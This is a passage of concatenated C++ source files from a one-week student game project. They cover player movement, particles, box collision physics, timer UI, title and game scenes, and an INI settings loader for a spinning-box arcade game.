fDeceleration ; else m_Vector.x += fDeceleration ; } else { m_Vector.x = 0.0f ; } } m_fX += m_Vector.x ; m_fY += m_Vector.y ; } void CPlayer::Spin() { float fSpinSpeed = m_fSpinAcc * g_D3dDevice->GetMoveTime() ; if(g_Keyboard->IsButtonDown(DIK_A)) m_fSpinSpeed += fSpinSpeed ; else if(g_Keyboard->IsButtonDown(DIK_S)) m_fSpinSpeed -= fSpinSpeed ; else { float temp = m_fSpinSpeed < 0.0f ? -m_fSpinSpeed : m_fSpinSpeed ; fSpinSpeed = 0.05f * g_D3dDevice->GetMoveTime() ; if(temp - fSpinSpeed>0.0f) { if(m_fSpinSpeed>0.0f) m_fSpinSpeed -= fSpinSpeed ; else if(m_fSpinSpeed<0.0f) m_fSpinSpeed += fSpinSpeed ; } else { m_fSpinSpeed = 0.0f ; } } if(m_fSpinSpeed>m_fScale * 15.0f) m_fSpinSpeed = m_fScale * 15.0f ; else if(m_fSpinSpeed<m_fScale * -15.0f) m_fSpinSpeed = m_fScale * -15.0f ; m_fRotation += m_fSpinSpeed ; m_pSprite->SetAngle(m_fRotation) ; }<file_sep>#include "Particle.h" #include "D3dDevice.h" CParticle::CParticle() : m_bLife(true), m_bTime(false), m_fTime(0.0f), m_vecSpeed(), m_vecAcc() { } CParticle::~CParticle() { } void CParticle::Update() { float fMoveTime = g_D3dDevice->GetMoveTime() ; m_fX += m_vecSpeed.x * fMoveTime ; m_fY += m_vecSpeed.y * fMoveTime ; m_vecSpeed += m_vecAcc * fMoveTime ; if(m_bTime) { m_fTime -= g_D3dDevice->GetTime() ; if(m_fTime<0.0f) m_bLife = false ; } } const bool CParticle::BeLife() const { return m_bLife ; }<file_sep>#include "TimeLimitUI.h" #include "NumberUI.h" #include "Sprite.h" #include "Data.h" #include "D3dDevice.h" CTimeLimitUI::CTimeLimitUI() : m_fX(0.0f), m_fY(0.0f), m_fTime(0), m_nNum(NULL), m_pDot(NULL) { } CTimeLimitUI::~CTimeLimitUI() { for(int i=0; i<5; i++) { if(m_pNumber[i]!=NULL) delete m_pNumber[i] ; } if(m_pDot!=NULL) delete m_pDot ; } void CTimeLimitUI::Init() { for(int i=0; i<5; i++) { m_pNumber[i] = new CNumberUI ; m_pNumber[i]->Init() ; } m_pDot = new CSprite ; m_pDot->Init("Resource/Image/Dot.png") ; m_fTime = g_Data->m_fTimeLimit ; SetTime() ; } void CTimeLimitUI::SetPosition(float fX, float fY) { m_fX = fX ; m_fY = fY ; } const bool CTimeLimitUI::Timeout() const { if(m_fTime<=0.0f) return true ; return false ; } void CTimeLimitUI::Update() { m_fTime -= g_D3dDevice->GetTime() ; SetTime() ; } void CTimeLimitUI::Render() { m_pDot->SetPosition(m_fX, m_fY) ; m_pDot->Render() ; for(int i=0; i<m_nNum; i++) { if(i!=0) m_pNumber[i]->SetPosition(m_fX - (40.0f * (i-1)) - 25.0f, m_fY) ; else m_pNumber[i]->SetPosition(m_fX + (40.0f * i) + 25.0f, m_fY) ; m_pNumber[i]->Render() ; } } void CTimeLimitUI::SetTime() { int nTime = (int)(m_fTime * 10.0f) ; int num ; int i=0 ; if(nTime<0) { m_pNumber[0]->SetNumber(0) ; m_pNumber[1]->SetNumber(0) ; m_nNum = 2 ; } while(nTime!=0 || i<2) { num = nTime % 10 ; nTime = nTime / 10 ; m_pNumber[i++]->SetNumber(num) ; } m_nNum = i ; }<file_sep>#pragma once class CBox ; class CCollision { public : CCollision() ; ~CCollision() ; bool CircleCollision(float x1, float y1, float r1, float x2, float y2, float r2) ; void InelasticCollision(CBox *pBox1, CBox *pBox2) ; void InelasticCollision(float m1, float m2, float v1, float v2, float modulus, float &_v1, float &_v2) ; float GetAngle(float x1, float y1, float x2, float y2) ; float AngleOfReflection(float angle1, float angle2) ; } ;<file_sep>#include "SampleScene.h" #include "SceneManager.h" #include "TitleScene.h" #include "Keyboard.h" #include "Mouse.h" #include "Joystick.h" #include "Sprite.h" #include "UISprite.h" #include "CameraManager.h" #include "MusicManager.h" #include "Data.h" #include "BoxManager.h" #include "Player.h" #include "ParticleManager.h" #include "ScoreUI.h" #include "TimeLimitUI.h" SampleScene::SampleScene() : m_bScore(false), m_bTime(false), m_bGameover(false), m_bGameclear(false), m_fSpriteTime(0.0f), m_pBackground(NULL), m_pGameover(NULL), m_pGameclear(), m_pScore(NULL), m_pTimeLimit(NULL) { } SampleScene::~SampleScene() { if(m_pBackground!=NULL) delete m_pBackground ; if(m_pGameover!=NULL) delete m_pGameover ; if(m_pGameclear!=NULL) delete m_pGameclear ; if(m_pScore!=NULL) delete m_pScore ; if(m_pTimeLimit!=NULL) delete m_pTimeLimit ; } Scene* SampleScene::scene() { Scene *scene = new SampleScene ; return scene ; } void SampleScene::Init() { g_CameraManager->AddCamera(new CCamera()) ; g_Data->Init() ; m_bScore = g_Data->m_bScore ; m_bTime = g_Data->m_bTime ; m_pBackground = new CSprite ; m_pBackground->Init("Resource/Image/Background.png") ; m_pGameover = new CSprite ; m_pGameover->Init("Resource/Image/Gameover.png") ; m_pGameclear = new CSprite ; m_pGameclear->Init("Resource/Image/Gameclear.png") ; if(m_bScore) { m_pScore = new CScoreUI ; m_pScore->Init() ; } if(m_bTime) { m_pTimeLimit = new CTimeLimitUI ; m_pTimeLimit->Init() ; } g_Player->Init() ; g_Player->SetPosition(0.0f, 0.0f) ; g_BoxManager->Init() ; g_CameraManager->SetPosition(g_Player->GetPositionX(), g_Player->GetPositionY()) ; } void SampleScene::Destroy() { } void SampleScene::Update(float dt) { g_Keyboard->Update() ; g_Mouse->Update() ; g_Joystick->Update() ; g_MusicManager->Loop() ; // GameOver üũ m_bGameover = !g_Player->BeLife() ; if(m_bTime) m_bGameover = m_bGameover | m_pTimeLimit->Timeout() ; // GameClear üũ if(m_bScore) m_bGameclear = m_pScore->AchieveAScore() ; // Update if(!m_bGameover && !m_bGameclear) g_Player->Update() ; else g_Player->Gameover() ; g_BoxManager->Update() ; g_ParticleManager->Update() ; if(m_bScore && (!m_bGameover && !m_bGameclear)) m_pScore->Update() ; if(m_bTime && (!m_bGameover && !m_bGameclear)) m_pTimeLimit->Update() ; // float PlayerX = g_Player->GetPositionX() ; float PlayerY = g_Player->GetPositionY() ; float CameraX = g_CameraManager->GetPosition().x ; float CameraY = g_CameraManager->GetPosition().y ; float width = 320.0f / 2.0f ; float height = 240.0f / 2.0f ; if(PlayerX>CameraX + width) CameraX += PlayerX - (CameraX + width) ; else if(PlayerX<CameraX - width) CameraX += PlayerX - (CameraX - width) ; if(PlayerY>CameraY + height) CameraY += PlayerY - (CameraY + height) ; else if(PlayerY<CameraY - height) CameraY += PlayerY - (CameraY - height) ; g_CameraManager->SetPosition(CameraX, CameraY) ; m_pBackground->SetPosition(CameraX, CameraY) ; if(m_bGameover || m_bGameclear) { m_pGameover->SetPosition(CameraX, CameraY) ; m_pGameclear->SetPosition(CameraX, CameraY) ; if(m_fSpriteTime<3.0f) m_fSpriteTime += dt ; if(m_fSpriteTime>=3.0f) { m_pGameover->SetAlpha(255) ; m_pGameclear->SetAlpha(255) ; if(g_Keyboard->IsPressDown(DIK_RETURN)) { GameOver() ; return ; } } else { int nAlpha = 255 * (m_fSpriteTime / 3.0f) ; m_pGameover->SetAlpha(nAlpha) ; m_pGameclear->SetAlpha(nAlpha) ; } } if(m_bScore) m_pScore->SetPosition(CameraX + 462.0f, CameraY + 325.0f) ; if(m_bTime) m_pTimeLimit->SetPosition(CameraX, CameraY + 325.0f) ; } void SampleScene::Render() { g_CameraManager->CameraRun() ; m_pBackground->Render() ; if(!m_bGameover && !m_bGameclear) g_Player->Render() ; g_BoxManager->Render() ; g_ParticleManager->Render() ; if(m_bScore) m_pScore->Render() ; if(m_bTime) m_pTimeLimit->Render() ; if(m_bGameover) m_pGameover->Render() ; if(m_bGameclear) m_pGameclear->Render() ; } void SampleScene::GameOver() { g_BoxManager->Clear() ; g_ParticleManager->ParticleClear() ; g_SceneManager->ChangeScene(TitleScene::scene()) ; }<file_sep>HUGP1_1week =========== HU Game Project 1 - 1 week <file_sep>#pragma once #include "Particle.h" class CParticle_Energy : public CParticle { private : bool m_bGuide ; float m_fForce ; public : CParticle_Energy() ; ~CParticle_Energy() ; void Init() ; void Update() ; } ;<file_sep>#pragma once #include "Singleton.h" #include <vector> class CParticle ; class CParticleManager : public Singleton<CParticleManager> { private : std::vector<CParticle*> m_ParticleList ; public : CParticleManager() ; ~CParticleManager() ; void Update() ; void Render() ; void CreateParticle(float fX, float fY, int nNumber) ; void ParticleClear() ; } ; #define g_ParticleManager CParticleManager::GetInstance()<file_sep>#pragma once #include "Objects.h" #include "Vector.h" class CParticle : public CObjects { protected : bool m_bLife ; bool m_bTime ; float m_fTime ; Vector m_vecSpeed ; Vector m_vecAcc ; public : CParticle() ; virtual ~CParticle() ; virtual void Update() ; const bool BeLife() const ; } ;<file_sep>#include "Collision.h" #include "Data.h" #include <math.h> #include "Box.h" CCollision::CCollision() { } CCollision::~CCollision() { } bool CCollision::CircleCollision(float x1, float y1, float r1, float x2, float y2, float r2) { float distance ; float x = (float)(x2 - x1) ; float y = (float)(y2 - y1) ; distance = sqrt((x*x) + (y*y)) ; if(distance<=(r1 + r2)) return true ; return false ; } void CCollision::InelasticCollision(CBox *pBox1, CBox *pBox2) { Vector vecBox1 = pBox1->GetVector() ; Vector vecBox2 = pBox2->GetVector() ; float vecForceBox1 = sqrt((vecBox1.x * vecBox1.x) + (vecBox1.y * vecBox1.y)) ; float vecForceBox2 = sqrt((vecBox2.x * vecBox2.x) + (vecBox2.y * vecBox2.y)) ; // 비탄성 충돌 float _vecForceBox1, _vecForceBox2 ; float spinSpeedBox1 = pBox1->GetSpinSpeedAbs() ; float spinSpeedBox2 = pBox2->GetSpinSpeedAbs() ; float modulus = g_Data->m_fModulus ; float mass = g_Data->m_fMass ; InelasticCollision((spinSpeedBox1 * mass) + 1.0f, (spinSpeedBox2 * mass) + 1.0f, vecForceBox1, vecForceBox2, modulus, _vecForceBox1, _vecForceBox2) ; // 회전 감속/가속 float forceBox1 = spinSpeedBox1 * vecForceBox1 ; float forceBox2 = spinSpeedBox2 * vecForceBox2 ; float spinAccBox1, spinAccBox2 ; float spinModulus ; if(forceBox1>=forceBox2) { if(forceBox1!=0.0f) spinModulus = forceBox2 / forceBox1 ; else spinModulus = 1.0f ; spinAccBox1 = pBox1->GetSpinSpeed() + (pBox2->GetSpinSpeed() * spinModulus) ; spinAccBox2 = pBox2->GetSpinSpeed() + pBox1->GetSpinSpeed() ; } else { if(forceBox2!=0.0f) spinModulus = forceBox1 / forceBox2 ; else spinModulus = 1.0f ; spinAccBox1 = pBox1->GetSpinSpeed() + pBox2->GetSpinSpeed() ; spinAccBox2 = pBox2->GetSpinSpeed() + (pBox1->GetSpinSpeed() * spinModulus) ; } pBox1->SpinAccelerate(spinAccBox1) ; pBox2->SpinAccelerate(spinAccBox2) ; // 겹침 방지, 반사각 float Box1X = pBox1->GetPositionX(), Box1Y = pBox1->GetPositionY() ; float Box2X = pBox2->GetPositionX(), Box2Y = pBox2->GetPositionY() ; float angleBox1 = GetAngle(Box1X, Box1Y, Box2X, Box2Y) ; float angleBox2 = GetAngle(Box2X, Box2Y, Box1X, Box1Y) ; float angleRBox1 = AngleOfReflection(angleBox2 + 180.0f, angleBox1) ; float angleRBox2 = AngleOfReflection(angleBox1 + 180.0f, angleBox2) ; float x = Box2X - Box1X ; float y = Box2Y - Box1Y ; float distance = sqrt((x*x) + (y*y)) ; // 겹침현상 밀어내기 if(distance<=(48.0f)) { distance = (48.0f - distance) / 2.0f ; vecBox1.x = cos( -((angleBox1 + 180.0f) * 3.141592f) / 180.0f ) * distance ; vecBox1.y = sin( -((angleBox1 + 180.0f) * 3.141592f) / 180.0f ) * distance ; pBox1->SetPosition(Box1X + vecBox1.x, Box1Y + vecBox1.y) ; vecBox2.x = cos( -((angleBox2 + 180.0f) * 3.141592f) / 180.0f ) * distance ; vecBox2.y = sin( -((angleBox2 + 180.0f) * 3.141592f) / 180.0f ) * distance ; pBox2->SetPosition(Box2X + vecBox2.x, Box2Y + vecBox2.y) ; } // 반사각으로 튕겨내기 float radian ; radian = angleRBox1 * 3.141592f / 180.0f ; vecBox1.x = cos(radian) * _vecForceBox1 ; vecBox1.y = sin(radian) * _vecForceBox1 ; pBox1->SetVector(vecBox1) ; radian = angleRBox2 * 3.141592f / 180.0f ; vecBox2.x = cos(radian) * _vecForceBox2 ; vecBox2.y = sin(radian) * _vecForceBox2 ; pBox2->SetVector(vecBox2) ; } void CCollision::InelasticCollision(float m1, float m2, float v1, float v2, float modulus, float &_v1, float &_v2) { float a=m1, b=m2, c=-((m1*v1)+(m2*v2)) ; float d=1.0f, e=-1.0f, f=modulus * (v1-v2) ; float temp ; temp = a/d ; d *= temp ; e *= temp ; f *= temp ; b -= e ; c -= f ; _v2 = -c/b ; _v1 = (-(e*_v2) - f)/d ; } float CCollision::GetAngle(float x1, float y1, float x2, float y2) { float angle ; angle = atan2(x2-x1, y2-y1) ; angle = -(angle * 180.0f) / 3.141592f ; angle += 90.0f ; if(angle<0.0f) angle += 360.0f ; return angle ; } float CCollision::AngleOfReflection(float angle1, float angle2) { float angle ; angle2 += 180.0f ; if(angle2>360.0f) angle2 -= 360.0f ; angle = angle1 - angle2 ; angle = angle1 + angle ; if(angle>360.0f) angle -= 360.0f ; return angle ; }<file_sep>#include "ParticleManager.h" #include "Particle_Debris.h" #include "Particle_Energy.h" CParticleManager::CParticleManager() { } CParticleManager::~CParticleManager() { ParticleClear() ; } void CParticleManager::Update() { int num=m_ParticleList.size() ; for(int i=0; i<num; i++) { m_ParticleList[i]->Update() ; if(!m_ParticleList[i]->BeLife()) { CParticle *pParticle = m_ParticleList[i] ; m_ParticleList.erase(m_ParticleList.begin() + i) ; delete pParticle ; --i ; --num ; } } } void CParticleManager::Render() { const int num=m_ParticleList.size() ; for(int i=0; i<num; i++) m_ParticleList[i]->Render() ; } void CParticleManager::CreateParticle(float fX, float fY, int nNumber) { CParticle *pParticle ; int num ; if(nNumber==0) num = 15 ; else if(nNumber==1) num = 15 ; for(int i=0; i<num; i++) { if(nNumber==0) pParticle = new CParticle_Debris ; else if(nNumber==1) pParticle = new CParticle_Energy ; pParticle->Init() ; pParticle->SetPosition(fX, fY) ; m_ParticleList.push_back(pParticle) ; } } void CParticleManager::ParticleClear() { const int num=m_ParticleList.size() ; CParticle *pParticle ; for(int i=0; i<num; i++) { pParticle = m_ParticleList[i] ; delete pParticle ; } m_ParticleList.clear() ; }<file_sep>#pragma once void inelastic_collision(float m1, float m2, float v1, float v2, float modulus) ; float GetAngle(float x1, float y1, float x2, float y2) ; float GetAngle2(float angle1, float angle2) ;<file_sep>#include "Particle_Energy.h" #include "Sprite.h" #include "Collision.h" #include "Player.h" #include "D3dDevice.h" CParticle_Energy::CParticle_Energy() : m_bGuide(false), m_fForce(1.0f) { m_bTime = true ; m_fTime = 1.0f ; } CParticle_Energy::~CParticle_Energy() { } void CParticle_Energy::Init() { m_pSprite = new CSprite ; m_pSprite->Init("Resource/Image/Energy.png") ; float angle = rand()%36 ; angle = (angle * 10.0f) * D3DX_PI / 180.0f ; m_vecSpeed.x = 1.0f * (rand()%3+1) * cos(angle) ; m_vecSpeed.y = 1.0f * (rand()%3+1) * sin(angle) ; } void CParticle_Energy::Update() { m_fX += m_vecSpeed.x ; m_fY += m_vecSpeed.y ; if(!m_bGuide) { m_vecSpeed += m_vecAcc ; } else { if(g_Player->BeGameover()) { m_vecSpeed = m_vecSpeed * 0.0f ; return ; } CCollision col ; float angle ; float PlayerX = g_Player->GetPositionX() ; float PlayerY = g_Player->GetPositionY() ; float PlayerS = g_Player->GetScale() * 10.0f ; angle = col.GetAngle(m_fX, m_fY, PlayerX, PlayerY) ; angle = angle * D3DX_PI / 180.0f ; m_vecSpeed.x = m_fForce * cos(angle) ; m_vecSpeed.y = m_fForce * sin(angle) ; m_fForce += 0.5f * g_D3dDevice->GetMoveTime() ; if(m_fForce>25.0f) m_fForce = 25.0f ; if(col.CircleCollision(m_fX, m_fY, 1.0f, PlayerX, PlayerY, PlayerS)) { m_bLife = false ; g_Player->EnergyAbsorption() ; } } if(!m_bGuide) { m_fTime -= g_D3dDevice->GetTime() ; if(m_fTime<0.0f) m_bGuide = true ; } }<file_sep>#pragma once #include "Scene.h" #include <fmod.hpp> class CSprite ; class TitleScene : public Scene { private : CSprite *m_pBackground ; CSprite *m_pTutorial1, *m_pTutorial2 ; CSprite *m_pDeveloper ; CSprite *m_pBox1, *m_pBox2 ; int m_nCursor ; int m_nImageBox ; float m_fAngle ; FMOD::Sound *m_pSoundButton ; FMOD::Sound *m_pBGM ; public : static Scene* scene() ; TitleScene() ; virtual ~TitleScene() ; void Init() ; void Destroy() ; void Update(float dt) ; void Render() ; } ;<file_sep>#pragma once #include "Box.h" #include "Singleton.h" class CPlayer : public CBox, public Singleton<CPlayer> { private : unsigned int m_nScore ; bool m_bGameover ; public : CPlayer() ; ~CPlayer() ; void Init() ; void EnergyAbsorption() ; void Gameover() ; const int GetScore() const ; const bool BeGameover() const ; private : void Spin() ; void Move() ; } ; #define g_Player CPlayer::GetInstance()<file_sep>#include "Data.h" #include "LoadManager.h" #include <stdio.h> #include <string.h> #include <stdlib.h> CData::CData() : m_fModulus(0.5f), m_fMass(1.0f), m_fMoveAcc(0.1f), m_fSpinAcc(0.1f), m_bScore(false), m_bTime(false), m_nMaxScore(10000), m_fTimeLimit(60.0f), m_fBoxForceMax(10.0f), m_bBoxCollision(false) { } CData::~CData() { } void CData::Init() { if(!LoadData()) { CreateDataFile() ; LoadData() ; } } bool CData::LoadData() { if( !g_LoadManager->OpenDat("Resource/Game.ini") ) return false ; char item[100] ; char temp[100] ; while(g_LoadManager->GetItem(item)) { int len = strlen(item) ; if(len==7 && strcmp(item, "MODULUS")==0) { g_LoadManager->GetString(temp) ; m_fModulus = (float)strtod(temp, NULL) ; } else if(len==4 && strcmp(item, "MASS")==0) { g_LoadManager->GetString(temp) ; m_fMass = (float)strtod(temp, NULL) ; } else if(len==17 && strcmp(item, "MOVE_ACCELERATION")==0) { g_LoadManager->GetString(temp) ; m_fMoveAcc = (float)strtod(temp, NULL) ; } else if(len==17 && strcmp(item, "SPIN_ACCELERATION")==0) { g_LoadManager->GetString(temp) ; m_fSpinAcc = (float)strtod(temp, NULL) ; } else if(len==5 && strcmp(item, "SCORE")==0) { int b ; g_LoadManager->GetValue(b) ; m_bScore = b ; } else if(len==9 && strcmp(item, "MAX_SCORE")==0) { g_LoadManager->GetValue(m_nMaxScore) ; } else if(len==4 && strcmp(item, "TIME")==0) { int b ; g_LoadManager->GetValue(b) ; m_bTime = b ; } else if(len==10 && strcmp(item, "TIME_LIMIT")==0) { g_LoadManager->GetString(temp) ; m_fTimeLimit = (float)strtod(temp, NULL) ; } else if(len==13 && strcmp(item, "BOX_FORCE_MAX")==0) { g_LoadManager->GetString(temp) ; m_fBoxForceMax = (float)strtod(temp, NULL) ; } else if(len==13 && strcmp(item, "BOX_COLLISION")==0) { int b ; g_LoadManager->GetValue(b) ; m_bBoxCollision = b ; } } g_LoadManager->CloseDat() ; return true ; } bool CData::CreateDataFile() { FILE *pFile ; pFile = fopen("Resource/Game.ini", "w") ; if(pFile==NULL) return false ; fprintf(pFile, "# modulus of elasticity\n") ; fprintf(pFile, "<modulus>\n") ; fprintf(pFile, "%f\n", m_fModulus) ; fprintf(pFile, "\n") ; fprintf(pFile, "# gyrating mass\n") ; fprintf(pFile, "<mass>\n") ; fprintf(pFile, "%f\n", m_fMass) ; fprintf(pFile, "\n") ; fprintf(pFile, "# player move/spin acceleration\n") ; fprintf(pFile, "<move_acceleration>\n") ; fprintf(pFile, "%f\n", m_fMoveAcc) ; fprintf(pFile, "\n") ; fprintf(pFile, "<spin_acceleration>\n") ; fprintf(pFile, "%f\n", m_fSpinAcc) ; fprintf(pFile, "\n") ; fprintf(pFile, "# scouring mode\n") ; fprintf(pFile, "<score>\n") ; fprintf(pFile, "%d\n", m_bScore) ; fprintf(pFile, "\n") ; fprintf(pFile, "<max_score>\n") ; fprintf(pFile, "%d\n", m_nMaxScore) ; fprintf(pFile, "\n") ; fprintf(pFile, "# time limit mode\n") ; fprintf(pFile, "<time>\n") ; fprintf(pFile, "%d\n", m_bTime) ; fprintf(pFile, "\n") ; fprintf(pFile, "<time_limit>\n") ; fprintf(pFile, "%f\n", m_fTimeLimit) ; // fprintf(pFile, "\n") ; fprintf(pFile, "# Box Speed Force Max\n") ; fprintf(pFile, "<box_force_max>\n") ; fprintf(pFile, "%f\n", m_fBoxForceMax) ; fprintf(pFile, "\n") ; fprintf(pFile, "# Box Collision Mode\n") ; fprintf(pFile, "<box_collision>\n") ; fprintf(pFile, "%d\n", m_bBoxCollision) ; fclose(pFile) ; return true ; }<file_sep>#pragma once #include "Singleton.h" #include <vector> #include <fmod.hpp> class CBox ; class CBoxManager : public Singleton<CBoxManager> { private : std::vector<CBox*> m_BoxList ; FMOD::Sound *m_pCrash ; public : CBoxManager() ; ~CBoxManager() ; void Init() ; void Update() ; void Render() ; void Clear() ; private : void Collision() ; void CreateBox() ; void DeleteBox() ; void CreateRandomBox() ; } ; #define g_BoxManager CBoxManager::GetInstance()<file_sep>#pragma once typedef struct _Vector { float x ; float y ; _Vector() : x(0.0f), y(0.0f) {} _Vector(float X, float Y) : x(X), y(Y) {} const _Vector operator+(_Vector vec) { _Vector temp ; temp.x = x + vec.x ; temp.y = y + vec.y ; return temp ; } const _Vector operator*(float scalar) { _Vector temp ; temp.x = x * scalar ; temp.y = y * scalar ; return temp ; } const _Vector& operator=(_Vector vec) { x = vec.x ; y = vec.y ; return *this ; } const _Vector& operator+=(_Vector vec) { *this = *this + vec ; return *this ; } } Vector ;<file_sep>#include "TitleScene.h" #include "SceneManager.h" #include "SampleScene.h" #include "Keyboard.h" #include "Mouse.h" #include "Joystick.h" #include "Sprite.h" #include "CameraManager.h" #include "MusicManager.h" #include "D3dDevice.h" TitleScene::TitleScene() : m_pBackground(NULL), m_pTutorial1(NULL), m_pTutorial2(NULL), m_pDeveloper(NULL), m_pBox1(NULL), m_pBox2(NULL), m_nCursor(0), m_nImageBox(0), m_fAngle(0.0f), m_pSoundButton(NULL), m_pBGM(NULL) { } TitleScene::~TitleScene() { if(m_pBackground!=NULL) delete m_pBackground ; if(m_pTutorial1!=NULL) delete m_pTutorial1 ; if(m_pTutorial2!=NULL) delete m_pTutorial2 ; if(m_pDeveloper!=NULL) delete m_pDeveloper ; if(m_pBox1!=NULL) delete m_pBox1 ; if(m_pBox2!=NULL) delete m_pBox2 ; } Scene* TitleScene::scene() { Scene *scene = new TitleScene ; return scene ; } void TitleScene::Init() { g_CameraManager->AddCamera(new CCamera()) ; float fWinWidth = g_D3dDevice->GetWinWidth() ; float fWinHeight = g_D3dDevice->GetWinHeight() ; m_pBackground = new CSprite ; m_pBackground->Init("Resource/Image/Title.png") ; m_pBackground->SetPosition(fWinWidth/2.0f, fWinHeight/2.0f) ; m_pTutorial1 = new CSprite ; m_pTutorial1->Init("Resource/Image/Tutorial1_ImageBox.png") ; m_pTutorial1->SetPosition(fWinWidth/2.0f, fWinHeight/2.0f) ; m_pTutorial2 = new CSprite ; m_pTutorial2->Init("Resource/Image/Tutorial2_ImageBox.png") ; m_pTutorial2->SetPosition(fWinWidth/2.0f, fWinHeight/2.0f) ; m_pDeveloper = new CSprite ; m_pDeveloper->Init("Resource/Image/Developer_ImageBox.png") ; m_pDeveloper->SetPosition(fWinWidth/2.0f, fWinHeight/2.0f) ; m_pBox1 = new CSprite() ; m_pBox1->Init("Resource/Image/Box.png") ; m_pBox1->SetRGB(157, 223, 255) ; m_pBox2 = new CSprite() ; m_pBox2->Init("Resource/Image/Box.png") ; m_pBox2->SetRGB(255, 161, 161) ; m_pSoundButton = g_MusicManager->LoadMusic("Resource/Sound/es040.wav", false, false) ; m_pBGM = g_MusicManager->LoadMusic("Resource/Sound/Raina-Milk_in_Veins.mp3", true) ; //m_pBGM = g_MusicManager->LoadMusic("Resource/Sound/Flutterwonder_UP_NOVOX.mp3", true) ; g_MusicManager->PlayMusic(m_pBGM, 0) ; } void TitleScene::Destroy() { } void TitleScene::Update(float dt) { g_Keyboard->Update() ; g_Mouse->Update() ; g_Joystick->Update() ; g_MusicManager->Loop() ; if(m_nImageBox==0 && g_Keyboard->IsPressDown(DIK_UP)) { g_MusicManager->StopMusic(1) ; g_MusicManager->PlayMusic(m_pSoundButton, 1) ; --m_nCursor ; if(m_nCursor<0) m_nCursor = 2 ; } if(m_nImageBox==0 && g_Keyboard->IsPressDown(DIK_DOWN)) { g_MusicManager->StopMusic(1) ; g_MusicManager->PlayMusic(m_pSoundButton, 1) ; ++m_nCursor ; if(m_nCursor>2) m_nCursor = 0 ; } if(g_Keyboard->IsPressDown(DIK_RETURN)) { g_MusicManager->StopMusic(1) ; g_MusicManager->PlayMusic(m_pSoundButton, 1) ; if(m_nCursor==0) { g_SceneManager->ChangeScene(SampleScene::scene()) ; return ; } else if(m_nCursor==1) m_nImageBox = ++m_nImageBox % 3 ; else m_nImageBox = ++m_nImageBox % 2 ; } float x, y ; float width ; switch(m_nCursor) { case 0 : x = 502.0f ; y = 397.5f ; width = 290.0f / 2.0f ; break ; case 1 : x = 513.0f ; y = 515.0f ; width = 450.0f / 2.0f ; break ; case 2 : x = 513.0f ; y = 636.0f ; width = 544.0f / 2.0f ; break ; } y = g_D3dDevice->GetWinHeight() - y ; width += 48.0f ; m_pBox1->SetPosition(x-width, y) ; m_pBox2->SetPosition(x+width, y) ; m_fAngle += 3.0f * g_D3dDevice->GetMoveTime() ; if(m_fAngle>360.0f) m_fAngle -= 360.0f ; m_pBox1->SetAngle(m_fAngle) ; m_pBox2->SetAngle(-m_fAngle) ; } void TitleScene::Render() { g_CameraManager->CameraRun() ; m_pBackground->Render() ; m_pBox1->Render() ; m_pBox2->Render() ; if(m_nImageBox!=0) { if(m_nCursor==1) { if(m_nImageBox==1) m_pTutorial1->Render() ; else if(m_nImageBox==2) m_pTutorial2->Render() ; } else if(m_nCursor==2) { if(m_nImageBox==1) m_pDeveloper->Render() ; } } }<file_sep>#include "inelastic_collision.h" #include <math.h> // inelastic_collision 비탄성 충돌 // modulus of elasticity 탄성 계수 void inelastic_collision(float m1, float m2, float v1, float v2, float modulus) { float _v1, _v2 ; float _v1v2 = modulus * (v1-v2) ; // _v1 - _v2 // m1v1 + m2v2 = m1v1' + m1v2' // // ax + by + c = 0 // dx + ey + f = 0 float a=m1, b=m2, c=-((m1*v1)+(m2*v2)) ; float d=1.0f, e=-1.0f, f=modulus * (v1-v2) ; float temp ; temp = a/d ; d *= temp ; e *= temp ; f *= temp ; b -= e ; c -= f ; _v2 = -c/b ; _v1 = (-(e*_v2) - f)/d ; } float GetAngle(float x1, float y1, float x2, float y2) { /*float angle ; float deltaX = x2 - x1 ; float deltaY = y2 - y1 ; float distance = sqrt(deltaX * deltaX + deltaY * deltaY) ; angle = acosf(deltaX/distance) ; if(deltaY>0) { angle = 3.14 + (3.14 - angle) ; }*/ ///// float angle ; angle = atan2(x2-x1, y2-y1) ; angle = -(angle * 180.0f) / 3.141592f ; angle += 90.0f ; if(angle<0.0f) angle += 360.0f ; return angle ; } // angle1 bsg ; float GetAngle2(float angle1, float angle2) { float angle ; angle2 += 180.0f ; if(angle2>360.0f) angle2 -= 360.0f ; angle = angle1 - angle2 ; angle = angle1 + angle ; if(angle>360.0f) angle -= 360.0f ; return angle ; }<file_sep>#include "BoxManager.h" #include "Box.h" #include "Player.h" #include "Collision.h" #include "ParticleManager.h" #include "Data.h" #include "MusicManager.h" #include "D3dDevice.h" CBoxManager::CBoxManager() : m_pCrash(NULL) { } CBoxManager::~CBoxManager() { Clear() ; } void CBoxManager::Init() { const int num=10 ; for(int i=0; i<num; i++) CreateRandomBox() ; m_pCrash = g_MusicManager->LoadMusic("Resource/Sound/Crash.wav", false, false) ; } void CBoxManager::Update() { int num=m_BoxList.size() ; for(int i=0; i<num; i++) { if(!m_BoxList[i]->BeLife()) { CBox *pBox = m_BoxList[i] ; m_BoxList.erase(m_BoxList.begin() + i) ; g_ParticleManager->CreateParticle(pBox->GetPositionX(), pBox->GetPositionY(), 1) ; delete pBox ; --i ; --num ; continue ; } m_BoxList[i]->Update() ; } Collision() ; CreateBox() ; DeleteBox() ; } void CBoxManager::Render() { const int num=m_BoxList.size() ; for(int i=0; i<num; i++) m_BoxList[i]->Render() ; } void CBoxManager::Clear() { CBox *pBox ; const int num=m_BoxList.size() ; for(int i=0; i<num; i++) { pBox = m_BoxList[i] ; delete pBox ; } m_BoxList.clear() ; } void CBoxManager::Collision() { const int num=m_BoxList.size() ; bool bCol ; CCollision collision ; float PlayerX = g_Player->GetPositionX() ; float PlayerY = g_Player->GetPositionY() ; float PlayerR = g_Player->GetScale() ; for(int i=0; i<num; i++) { CBox *pBox = m_BoxList[i] ; float BoxX = pBox->GetPositionX() ; float BoxY = pBox->GetPositionY() ; float BoxR = pBox->GetScale() ; if(!g_Player->BeGameover()) { bCol = collision.CircleCollision(PlayerX, PlayerY, PlayerR*24.0f, BoxX, BoxY, BoxR*24.0f) ; if(bCol) { collision.InelasticCollision(g_Player, pBox) ; g_ParticleManager->CreateParticle(g_Player->GetPositionX(), g_Player->GetPositionY(), 0) ; g_MusicManager->PlayMusic(m_pCrash, 1) ; } } if(g_Data->m_bBoxCollision) { for(int j=0; j<num; j++) { if(i==j) continue ; CBox *pBox2 = m_BoxList[j] ; float Box2X = pBox2->GetPositionX() ; float Box2Y = pBox2->GetPositionY() ; float Box2R = pBox2->GetScale() ; bCol = collision.CircleCollision(BoxX, BoxY, 